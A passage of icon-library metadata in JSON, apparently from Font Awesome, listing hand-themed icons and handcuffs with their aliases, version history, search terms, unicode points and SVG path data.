        "path": "M128 40c0-22.1 17.9-40 40-40s40 17.9 40 40V188.2c8.5-7.6 19.7-12.2 32-12.2c20.6 0 38.2 13 45 31.2c8.8-9.3 21.2-15.2 35-15.2c25.3 0 46 19.5 47.9 44.3c8.5-7.7 19.8-12.3 32.1-12.3c26.5 0 48 21.5 48 48v48 16 48c0 70.7-57.3 128-128 128l-16 0H240l-.1 0h-5.2c-5 0-9.9-.3-14.7-1c-55.3-5.6-106.2-34-140-79L8 336c-13.3-17.7-9.7-42.7 8-56s42.7-9.7 56 8l56 74.7V40zM240 304c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304zm48-16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304c0-8.8-7.2-16-16-16zm80 16c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M160 64c0-8.8 7.2-16 16-16s16 7.2 16 16V200c0 10.3 6.6 19.5 16.4 22.8s20.6-.1 26.8-8.3c3-3.9 7.6-6.4 12.8-6.4c8.8 0 16 7.2 16 16c0 10.3 6.6 19.5 16.4 22.8s20.6-.1 26.8-8.3c3-3.9 7.6-6.4 12.8-6.4c7.8 0 14.3 5.6 15.7 13c1.6 8.2 7.3 15.1 15.1 18s16.7 1.6 23.3-3.6c2.7-2.1 6.1-3.4 9.9-3.4c8.8 0 16 7.2 16 16l0 16V392c0 39.8-32.2 72-72 72H272 212.3h-.9c-37.4 0-72.4-18.7-93.2-49.9L50.7 312.9c-4.9-7.4-2.9-17.3 4.4-22.2s17.3-2.9 22.2 4.4L116 353.2c5.9 8.8 16.8 12.7 26.9 9.7s17-12.4 17-23V320 64zM176 0c-35.3 0-64 28.7-64 64V261.7C91.2 238 55.5 232.8 28.5 250.7C-.9 270.4-8.9 310.1 10.8 339.5L78.3 440.8c29.7 44.5 79.6 71.2 133.1 71.2h.9H272h56c66.3 0 120-53.7 120-120V288l0-16c0-35.3-28.7-64-64-64c-4.5 0-8.8 .5-13 1.3c-11.7-15.4-30.2-25.3-51-25.3c-6.9 0-13.5 1.1-19.7 3.1C288.7 170.7 269.6 160 248 160c-2.7 0-5.4 .2-8 .5V64c0-35.3-28.7-64-64-64zm48 304c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304zm48-16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304c0-8.8-7.2-16-16-16zm80 16c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M160 64c0-8.8 7.2-16 16-16s16 7.2 16 16V200c0 10.3 6.6 19.5 16.4 22.8s20.6-.1 26.8-8.3c3-3.9 7.6-6.4 12.8-6.4c8.8 0 16 7.2 16 16c0 10.3 6.6 19.5 16.4 22.8s20.6-.1 26.8-8.3c3-3.9 7.6-6.4 12.8-6.4c7.8 0 14.3 5.6 15.7 13c1.6 8.2 7.3 15.1 15.1 18s16.7 1.6 23.3-3.6c2.7-2.1 6.1-3.4 9.9-3.4c8.8 0 16 7.2 16 16l0 16V392c0 39.8-32.2 72-72 72H272 212.3h-.9c-37.4 0-72.4-18.7-93.2-49.9L50.7 312.9c-4.9-7.4-2.9-17.3 4.4-22.2s17.3-2.9 22.2 4.4L116 353.2c5.9 8.8 16.8 12.7 26.9 9.7s17-12.4 17-23V320 64zM176 0c-35.3 0-64 28.7-64 64V261.7C91.2 238 55.5 232.8 28.5 250.7C-.9 270.4-8.9 310.1 10.8 339.5L78.3 440.8c29.7 44.5 79.6 71.2 133.1 71.2h.9H272h56c66.3 0 120-53.7 120-120V288l0-16c0-35.3-28.7-64-64-64c-4.5 0-8.8 .5-13 1.3c-11.7-15.4-30.2-25.3-51-25.3c-6.9 0-13.5 1.1-19.7 3.1C288.7 170.7 269.6 160 248 160c-2.7 0-5.4 .2-8 .5V64c0-35.3-28.7-64-64-64zm48 304c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304zm48-16c-8.8 0-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304c0-8.8-7.2-16-16-16zm80 16c0-8.8-7.2-16-16-16s-16 7.2-16 16v96c0 8.8 7.2 16 16 16s16-7.2 16-16V304z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-scissors": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f257"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cut", "game", "roshambo"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f257",
    "label": "Hand Scissors",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M40 208c-22.1 0-40 17.9-40 40s17.9 40 40 40l180.2 0c-7.6 8.5-12.2 19.7-12.2 32c0 25.3 19.5 46 44.3 47.9c-7.7 8.5-12.3 19.8-12.3 32.1c0 26.5 21.5 48 48 48l32 0 64 0c70.7 0 128-57.3 128-128l0-113.1c0-40.2-16-78.8-44.4-107.3C444.8 76.8 413.9 64 381.7 64L336 64c-21.3 0-39.3 13.9-45.6 33.1l74.5 23.7c8.4 2.7 13.1 11.7 10.4 20.1s-11.7 13.1-20.1 10.4L288 129.9l0 .1L84 65.8C62.9 59.2 40.5 70.9 33.8 92s5.1 43.5 26.2 50.2L269.5 208 40 208z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M40 208c-22.1 0-40 17.9-40 40s17.9 40 40 40l180.2 0c-7.6 8.5-12.2 19.7-12.2 32c0 25.3 19.5 46 44.3 47.9c-7.7 8.5-12.3 19.8-12.3 32.1c0 26.5 21.5 48 48 48l32 0 64 0c70.7 0 128-57.3 128-128l0-113.1c0-40.2-16-78.8-44.4-107.3C444.8 76.8 413.9 64 381.7 64L336 64c-21.3 0-39.3 13.9-45.6 33.1l74.5 23.7c8.4 2.7 13.1 11.7 10.4 20.1s-11.7 13.1-20.1 10.4L288 129.9l0 .1L84 65.8C62.9 59.2 40.5 70.9 33.8 92s5.1 43.5 26.2 50.2L269.5 208 40 208z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M.2 276.3c-1.2-35.3 26.4-65 61.7-66.2l3.3-.1L57 208.1C22.5 200.5 .7 166.3 8.3 131.8S50.2 75.5 84.7 83.2l173 38.3c2.3-2.9 4.7-5.7 7.1-8.5l18.4-20.3C299.9 74.5 323.5 64 348.3 64l10.2 0c54.1 0 104.1 28.7 131.3 75.4l1.5 2.6c13.6 23.2 20.7 49.7 20.7 76.6L512 344c0 66.3-53.7 120-120 120l-8 0-96 0c-35.3 0-64-28.7-64-64c0-2.8 .2-5.6 .5-8.3c-19.4-11-32.5-31.8-32.5-55.7c0-.8 0-1.6 0-2.4L66.4 338c-35.3 1.2-65-26.4-66.2-61.7zm63.4-18.2c-8.8 .3-15.7 7.7-15.4 16.5s7.7 15.7 16.5 15.4l161.5-5.6c9.8-.3 18.7 5.3 22.7 14.2s2.2 19.3-4.5 26.4c-2.8 2.9-4.4 6.7-4.4 11c0 8.8 7.2 16 16 16c9.1 0 17.4 5.1 21.5 13.3s3.2 17.9-2.3 25.1c-2 2.7-3.2 6-3.2 9.6c0 8.8 7.2 16 16 16l96 0 8 0c39.8 0 72-32.2 72-72l0-125.4c0-18.4-4.9-36.5-14.2-52.4l-1.5-2.6c-18.6-32-52.8-51.6-89.8-51.6l-10.2 0c-11.3 0-22 4.8-29.6 13.1l-17.5-15.9 17.5 15.9-18.4 20.3c-.6 .6-1.1 1.3-1.7 1.9l57 13.2c8.6 2 14 10.6 12 19.2s-10.6 14-19.2 12l-85.6-19.7L74.3 130c-8.6-1.9-17.2 3.5-19.1 12.2s3.5 17.2 12.2 19.1l187.5 41.6c10.2 2.3 17.8 10.9 18.7 21.4l.1 1c.6 6.6-1.5 13.1-5.8 18.1s-10.6 7.9-17.2 8.2L63.6 258.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M.2 276.3c-1.2-35.3 26.4-65 61.7-66.2l3.3-.1L57 208.1C22.5 200.5 .7 166.3 8.3 131.8S50.2 75.5 84.7 83.2l173 38.3c2.3-2.9 4.7-5.7 7.1-8.5l18.4-20.3C299.9 74.5 323.5 64 348.3 64l10.2 0c54.1 0 104.1 28.7 131.3 75.4l1.5 2.6c13.6 23.2 20.7 49.7 20.7 76.6L512 344c0 66.3-53.7 120-120 120l-8 0-96 0c-35.3 0-64-28.7-64-64c0-2.8 .2-5.6 .5-8.3c-19.4-11-32.5-31.8-32.5-55.7c0-.8 0-1.6 0-2.4L66.4 338c-35.3 1.2-65-26.4-66.2-61.7zm63.4-18.2c-8.8 .3-15.7 7.7-15.4 16.5s7.7 15.7 16.5 15.4l161.5-5.6c9.8-.3 18.7 5.3 22.7 14.2s2.2 19.3-4.5 26.4c-2.8 2.9-4.4 6.7-4.4 11c0 8.8 7.2 16 16 16c9.1 0 17.4 5.1 21.5 13.3s3.2 17.9-2.3 25.1c-2 2.7-3.2 6-3.2 9.6c0 8.8 7.2 16 16 16l96 0 8 0c39.8 0 72-32.2 72-72l0-125.4c0-18.4-4.9-36.5-14.2-52.4l-1.5-2.6c-18.6-32-52.8-51.6-89.8-51.6l-10.2 0c-11.3 0-22 4.8-29.6 13.1l-17.5-15.9 17.5 15.9-18.4 20.3c-.6 .6-1.1 1.3-1.7 1.9l57 13.2c8.6 2 14 10.6 12 19.2s-10.6 14-19.2 12l-85.6-19.7L74.3 130c-8.6-1.9-17.2 3.5-19.1 12.2s3.5 17.2 12.2 19.1l187.5 41.6c10.2 2.3 17.8 10.9 18.7 21.4l.1 1c.6 6.6-1.5 13.1-5.8 18.1s-10.6 7.9-17.2 8.2L63.6 258.1z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-sparkles": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e05d"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["clean", "covid-19", "hygiene", "magic", "palm", "soap", "wash"]
    },
    "styles": ["solid"],
    "unicode": "e05d",
    "label": "Hand Sparkles",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 0c17.7 0 32 14.3 32 32V240c0 8.8 7.2 16 16 16s16-7.2 16-16V64c0-17.7 14.3-32 32-32s32 14.3 32 32V240c0 8.8 7.2 16 16 16s16-7.2 16-16V128c0-17.7 14.3-32 32-32s32 14.3 32 32V323.1c-11.9 4.8-21.3 14.9-25 27.8l-8.9 31.2L478.9 391C460.6 396.3 448 413 448 432c0 18.9 12.5 35.6 30.6 40.9C448.4 497.4 409.9 512 368 512H348.8c-59.6 0-116.9-22.9-160-64L76.4 341c-16-15.2-16.6-40.6-1.4-56.6s40.6-16.6 56.6-1.4l60.5 57.6c0-1.5-.1-3.1-.1-4.6V64c0-17.7 14.3-32 32-32s32 14.3 32 32V240c0 8.8 7.2 16 16 16s16-7.2 16-16V32c0-17.7 14.3-32 32-32zm-7.3 326.6c-1.1-3.9-4.7-6.6-8.7-6.6s-7.6 2.7-8.7 6.6L288 352l-25.4 7.3c-3.9 1.1-6.6 4.7-6.6 8.7s2.7 7.6 6.6 8.7L288 384l7.3 25.4c1.1 3.9 4.7 6.6 8.7 6.6s7.6-2.7 8.7-6.6L320 384l25.4-7.3c3.9-1.1 6.6-4.7 6.6-8.7s-2.7-7.6-6.6-8.7L320 352l-7.3-25.4zM104 120l48.3 13.8c4.6 1.3 7.7 5.5 7.7 10.2s-3.1 8.9-7.7 10.2L104 168 90.2 216.3c-1.3 4.6-5.5 7.7-10.2 7.7s-8.9-3.1-10.2-7.7L56 168 7.7 154.2C3.1 152.9 0 148.7 0 144s3.1-8.9 7.7-10.2L56 120 69.8 71.7C71.1 67.1 75.3 64 80 64s8.9 3.1 10.2 7.7L104 120zM584 408l48.3 13.8c4.6 1.3 7.7 5.5 7.7 10.2s-3.1 8.9-7.7 10.2L584 456l-13.8 48.3c-1.3 4.6-5.5 7.7-10.2 7.7s-8.9-3.1-10.2-7.7L536 456l-48.3-13.8c-4.6-1.3-7.7-5.5-7.7-10.2s3.1-8.9 7.7-10.2L536 408l13.8-48.3c1.3-4.6 5.5-7.7 10.2-7.7s8.9 3.1 10.2 7.7L584 408z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 0c17.7 0 32 14.3 32 32V240c0 8.8 7.2 16 16 16s16-7.2 16-16V64c0-17.7 14.3-32 32-32s32 14.3 32 32V240c0 8.8 7.2 16 16 16s16-7.2 16-16V128c0-17.7 14.3-32 32-32s32 14.3 32 32V323.1c-11.9 4.8-21.3 14.9-25 27.8l-8.9 31.2L478.9 391C460.6 396.3 448 413 448 432c0 18.9 12.5 35.6 30.6 40.9C448.4 497.4 409.9 512 368 512H348.8c-59.6 0-116.9-22.9-160-64L76.4 341c-16-15.2-16.6-40.6-1.4-56.6s40.6-16.6 56.6-1.4l60.5 57.6c0-1.5-.1-3.1-.1-4.6V64c0-17.7 14.3-32 32-32s32 14.3 32 32V240c0 8.8 7.2 16 16 16s16-7.2 16-16V32c0-17.7 14.3-32 32-32zm-7.3 326.6c-1.1-3.9-4.7-6.6-8.7-6.6s-7.6 2.7-8.7 6.6L288 352l-25.4 7.3c-3.9 1.1-6.6 4.7-6.6 8.7s2.7 7.6 6.6 8.7L288 384l7.3 25.4c1.1 3.9 4.7 6.6 8.7 6.6s7.6-2.7 8.7-6.6L320 384l25.4-7.3c3.9-1.1 6.6-4.7 6.6-8.7s-2.7-7.6-6.6-8.7L320 352l-7.3-25.4zM104 120l48.3 13.8c4.6 1.3 7.7 5.5 7.7 10.2s-3.1 8.9-7.7 10.2L104 168 90.2 216.3c-1.3 4.6-5.5 7.7-10.2 7.7s-8.9-3.1-10.2-7.7L56 168 7.7 154.2C3.1 152.9 0 148.7 0 144s3.1-8.9 7.7-10.2L56 120 69.8 71.7C71.1 67.1 75.3 64 80 64s8.9 3.1 10.2 7.7L104 120zM584 408l48.3 13.8c4.6 1.3 7.7 5.5 7.7 10.2s-3.1 8.9-7.7 10.2L584 456l-13.8 48.3c-1.3 4.6-5.5 7.7-10.2 7.7s-8.9-3.1-10.2-7.7L536 456l-48.3-13.8c-4.6-1.3-7.7-5.5-7.7-10.2s3.1-8.9 7.7-10.2L536 408l13.8-48.3c1.3-4.6 5.5-7.7 10.2-7.7s8.9 3.1 10.2 7.7L584 408z"
      }
    },
    "free": ["solid"]
  },
  "hand-spock": {
    "aliases": {
      "unicodes": {
        "composite": ["1f596"],
        "secondary": ["10f259"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "finger",
        "hand",
        "live long",
        "palm",
        "prosper",
        "salute",
        "spock",
        "star trek",
        "vulcan",
        "vulcan salute"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f259",
    "label": "Hand Spock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M246.9 23.7C242.3 6.6 224.8-3.5 207.7 1.1s-27.2 22.1-22.6 39.2L238 237.8c2.5 9.2-4.5 18.2-14 18.2c-6.4 0-12-4.2-13.9-10.3L166.6 102.7c-5.1-16.9-23-26.4-39.9-21.3s-26.4 23-21.3 39.9l62.8 206.4c2.4 7.9-7.2 13.8-13.2 8.1L99.6 283c-16-15.2-41.3-14.6-56.6 1.4s-14.6 41.3 1.4 56.6L156.8 448c43.1 41.1 100.4 64 160 64h10.9 8.2c.1 0 .1-.1 .1-.1v0c0-.1 .1-.1 .1-.1c58.3-3.5 108.6-43.2 125.3-99.7l81.2-275c5-16.9-4.7-34.7-21.6-39.8s-34.7 4.7-39.8 21.6L443.5 247.1c-1.6 5.3-6.4 8.9-12 8.9c-7.9 0-13.8-7.3-12.2-15.1l36-170.3c3.7-17.3-7.4-34.3-24.7-37.9s-34.3 7.4-37.9 24.7L355.1 235.1c-2.6 12.2-13.3 20.9-25.8 20.9c-11.9 0-22.4-8-25.4-19.5l-57-212.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M246.9 23.7C242.3 6.6 224.8-3.5 207.7 1.1s-27.2 22.1-22.6 39.2L238 237.8c2.5 9.2-4.5 18.2-14 18.2c-6.4 0-12-4.2-13.9-10.3L166.6 102.7c-5.1-16.9-23-26.4-39.9-21.3s-26.4 23-21.3 39.9l62.8 206.4c2.4 7.9-7.2 13.8-13.2 8.1L99.6 283c-16-15.2-41.3-14.6-56.6 1.4s-14.6 41.3 1.4 56.6L156.8 448c43.1 41.1 100.4 64 160 64h10.9 8.2c.1 0 .1-.1 .1-.1v0c0-.1 .1-.1 .1-.1c58.3-3.5 108.6-43.2 125.3-99.7l81.2-275c5-16.9-4.7-34.7-21.6-39.8s-34.7 4.7-39.8 21.6L443.5 247.1c-1.6 5.3-6.4 8.9-12 8.9c-7.9 0-13.8-7.3-12.2-15.1l36-170.3c3.7-17.3-7.4-34.3-24.7-37.9s-34.3 7.4-37.9 24.7L355.1 235.1c-2.6 12.2-13.3 20.9-25.8 20.9c-11.9 0-22.4-8-25.4-19.5l-57-212.8z"
      },
      "regular": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M170.2 80.8C161 47 180.8 12 214.6 2.4c34-9.6 69.4 10.2 79 44.2l30.3 107.1L337.1 84c6.6-34.7 40.1-57.5 74.8-50.9c31.4 6 53 33.9 52 64.9c10-2.6 20.8-2.8 31.5-.1c34.3 8.6 55.1 43.3 46.6 77.6L486.7 397.2C469.8 464.7 409.2 512 339.6 512c-11.2 0-22.5 0-33.7 0c-56.9 0-112.2-19-157.2-53.9l-92-71.6c-27.9-21.7-32.9-61.9-11.2-89.8s61.9-32.9 89.8-11.2l17 13.2L100.5 167.5c-13-32.9 3.2-70.1 36-83c11.1-4.4 22.7-5.4 33.7-3.7zm77.1-21.2c-2.4-8.5-11.2-13.4-19.7-11s-13.4 11.2-11 19.7l54.8 182.4c3.5 12.3-3.3 25.2-15.4 29.3s-25.3-2-30-13.9L174.9 138.1c-3.2-8.2-12.5-12.3-20.8-9s-12.3 12.5-9 20.8l73.3 185.6c12 30.3-23.7 57-49.4 37l-63.1-49.1c-7-5.4-17-4.2-22.5 2.8s-4.2 17 2.8 22.5l92 71.6c36.5 28.4 81.4 43.8 127.7 43.8c11.2 0 22.5 0 33.7 0c47.5 0 89-32.4 100.5-78.5l55.4-221.6c2.1-8.6-3.1-17.3-11.6-19.4s-17.3 3.1-19.4 11.6l-26 104C435.6 271.8 425 280 413 280c-16.5 0-28.9-15-25.8-31.2L415.7 99c1.7-8.7-4-17.1-12.7-18.7s-17.1 4-18.7 12.7L352.5 260c-2.2 11.6-12.4 20-24.2 20c-11 0-20.7-7.3-23.7-17.9L247.4 59.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M170.2 80.8C161 47 180.8 12 214.6 2.4c34-9.6 69.4 10.2 79 44.2l30.3 107.1L337.1 84c6.6-34.7 40.1-57.5 74.8-50.9c31.4 6 53 33.9 52 64.9c10-2.6 20.8-2.8 31.5-.1c34.3 8.6 55.1 43.3 46.6 77.6L486.7 397.2C469.8 464.7 409.2 512 339.6 512c-11.2 0-22.5 0-33.7 0c-56.9 0-112.2-19-157.2-53.9l-92-71.6c-27.9-21.7-32.9-61.9-11.2-89.8s61.9-32.9 89.8-11.2l17 13.2L100.5 167.5c-13-32.9 3.2-70.1 36-83c11.1-4.4 22.7-5.4 33.7-3.7zm77.1-21.2c-2.4-8.5-11.2-13.4-19.7-11s-13.4 11.2-11 19.7l54.8 182.4c3.5 12.3-3.3 25.2-15.4 29.3s-25.3-2-30-13.9L174.9 138.1c-3.2-8.2-12.5-12.3-20.8-9s-12.3 12.5-9 20.8l73.3 185.6c12 30.3-23.7 57-49.4 37l-63.1-49.1c-7-5.4-17-4.2-22.5 2.8s-4.2 17 2.8 22.5l92 71.6c36.5 28.4 81.4 43.8 127.7 43.8c11.2 0 22.5 0 33.7 0c47.5 0 89-32.4 100.5-78.5l55.4-221.6c2.1-8.6-3.1-17.3-11.6-19.4s-17.3 3.1-19.4 11.6l-26 104C435.6 271.8 425 280 413 280c-16.5 0-28.9-15-25.8-31.2L415.7 99c1.7-8.7-4-17.1-12.7-18.7s-17.1 4-18.7 12.7L352.5 260c-2.2 11.6-12.4 20-24.2 20c-11 0-20.7-7.3-23.7-17.9L247.4 59.6z"
      }
    },
    "free": ["regular", "solid"]
  },
  "handcuffs": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrest",
        "criminal",
        "handcuffs",
        "jail",
        "lock",
        "police",
        "wrist"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4f8",
    "label": "Handcuffs",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M240 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM192 48a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm-32 80c17.7 0 32 14.3 32 32h8c13.3 0 24 10.7 24 24v16c0 1.7-.2 3.4-.5 5.1C280.3 229.6 320 286.2 320 352c0 88.4-71.6 160-160 160S0 440.4 0 352c0-65.8 39.7-122.4 96.5-146.9c-.4-1.6-.5-3.3-.5-5.1V184c0-13.3 10.7-24 24-24h8c0-17.7 14.3-32 32-32zm0 320a96 96 0 1 0 0-192 96 96 0 1 0 0 192zm192-96c0-25.9-5.1-50.5-14.4-73.1c16.9-32.9 44.8-59.1 78.9-73.9c-.4-1.6-.5-3.3-.5-5.1V184c0-13.3 10.7-24 24-24h8c0-17.7 14.3-32 32-32s32 14.3 32 32h8c13.3 0 24 10.7 24 24v16c0 1.7-.2 3.4-.5 5.1C600.3 229.6 640 286.2 640 352c0 88.4-71.6 160-160 160c-62 0-115.8-35.3-142.4-86.9c9.3-22.5 14.4-47.2 14.4-73.1zm224 0a96 96 0 1 0 -192 0 96 96 0 1 0 192 0zM368 0a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm80 48a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M240 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM192 48a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm-32 80c17.7 0 32 14.3 32 32h8c13.3 0 24 10.7 24 24v16c0 1.7-.2 3.4-.5 5.1C280.3 229.6 320 286.2 320 352c0 88.4-71.6 160-160 160S0 440.4 0 352c0-65.8 39.7-122.4 96.5-146.9c-.4-1.6-.5-3.3-.5-5.1V184c0-13.3 10.7-24 24-24h8c0-17.7 14.3-32 32-32zm0 320a96 96 0 1 0 0-192 96 96 0 1 0 0 192zm192-96c0-25.9-5.1-50.5-14.4-73.1c16.9-32.9 44.8-59.1 78.9-73.9c-.4-1.6-.5-3.3-.5-5.1V184c0-13.3 10.7-24 24-24h8c0-17.7 14.3-32 32-32s32 14.3 32 32h8c13.3 0 24 10.7 24 24v16c0 1.7-.2 3.4-.5 5.1C600.3 229.6 640 286.2 640 352c0 88.4-71.6 160-160 160c-62 0-115.8-35.3-142.4-86.9c9.3-22.5 14.4-47.2 14.4-73.1zm224 0a96 96 0 1 0 -192 0 96 96 0 1 0 192 0zM368 0a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm80 48a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "hands": {
    "aliases": {
      "names": ["sign-language", "signing"],
      "unicodes": {
        "secondary": ["10f2a7"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Translate", "asl", "deaf", "hands"]
    },
    "styles": ["solid"],
    "unicode": "f2a7",
    "label": "Hands",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M544 160l-.1 72.6c-.1 52.2-24 101-64 133.1c.1-1.9 .1-3.8 .1-5.7v-8c0-71.8-37-138.6-97.9-176.7l-60.2-37.6c-8.6-5.4-17.9-8.4-27.3-9.4L248.7 48.8c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8l78 135.1c3.3 5.7 10.7 7.7 16.4 4.4s7.7-10.7 4.4-16.4l-62-107.4c-6.6-11.5-2.7-26.2 8.8-32.8S362 5 368.6 16.5l68 117.8 0 0 0 0 43.3 75L480 160c0-17.7 14.4-32 32-32s32 14.4 32 32zM243.9 88.5L268.5 131c-13.9 4.5-26.4 13.7-34.7 27c-.9 1.4-1.7 2.9-2.5 4.4l-28.9-50c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8zm-46.4 63.7l26.8 46.4c.6 6 2.1 11.8 4.3 17.4H224 210.7l0 0H179l-23-39.8c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8zM260.9 175c9.4-15 29.1-19.5 44.1-10.2l60.2 37.6C416.7 234.7 448 291.2 448 352v8c0 83.9-68.1 152-152 152H120c-13.3 0-24-10.7-24-24s10.7-24 24-24h92c6.6 0 12-5.4 12-12s-5.4-12-12-12H88c-13.3 0-24-10.7-24-24s10.7-24 24-24H212c6.6 0 12-5.4 12-12s-5.4-12-12-12H56c-13.3 0-24-10.7-24-24s10.7-24 24-24H212c6.6 0 12-5.4 12-12s-5.4-12-12-12H88c-13.3 0-24-10.7-24-24s10.7-24 24-24H224l0 0 0 0h93.2L271 219.1c-15-9.4-19.5-29.1-10.2-44.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M544 160l-.1 72.6c-.1 52.2-24 101-64 133.1c.1-1.9 .1-3.8 .1-5.7v-8c0-71.8-37-138.6-97.9-176.7l-60.2-37.6c-8.6-5.4-17.9-8.4-27.3-9.4L248.7 48.8c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8l78 135.1c3.3 5.7 10.7 7.7 16.4 4.4s7.7-10.7 4.4-16.4l-62-107.4c-6.6-11.5-2.7-26.2 8.8-32.8S362 5 368.6 16.5l68 117.8 0 0 0 0 43.3 75L480 160c0-17.7 14.4-32 32-32s32 14.4 32 32zM243.9 88.5L268.5 131c-13.9 4.5-26.4 13.7-34.7 27c-.9 1.4-1.7 2.9-2.5 4.4l-28.9-50c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8zm-46.4 63.7l26.8 46.4c.6 6 2.1 11.8 4.3 17.4H224 210.7l0 0H179l-23-39.8c-6.6-11.5-2.7-26.2 8.8-32.8s26.2-2.7 32.8 8.8zM260.9 175c9.4-15 29.1-19.5 44.1-10.2l60.2 37.6C416.7 234.7 448 291.2 448 352v8c0 83.9-68.1 152-152 152H120c-13.3 0-24-10.7-24-24s10.7-24 24-24h92c6.6 0 12-5.4 12-12s-5.4-12-12-12H88c-13.3 0-24-10.7-24-24s10.7-24 24-24H212c6.6 0 12-5.4 12-12s-5.4-12-12-12H56c-13.3 0-24-10.7-24-24s10.7-24 24-24H212c6.6 0 12-5.4 12-12s-5.4-12-12-12H88c-13.3 0-24-10.7-24-24s10.7-24 24-24H224l0 0 0 0h93.2L271 219.1c-15-9.4-19.5-29.1-10.2-44.1z"
      }
    },
    "free": ["solid"]
  },
  "hands-asl-interpreting": {
    "aliases": {
      "names": [
        "american-sign-language-interpreting",
        "asl-interpreting",
        "hands-american-sign-language-interpreting"
      ],
      "unicodes": {
        "secondary": ["10f2a3"]
      }
    },
    "changes": ["4.6.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["asl", "deaf", "finger", "hand", "interpret", "speak"]
    },
    "styles": ["solid"],
    "unicode": "f2a3",
    "label": "Hands Asl Interpreting",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
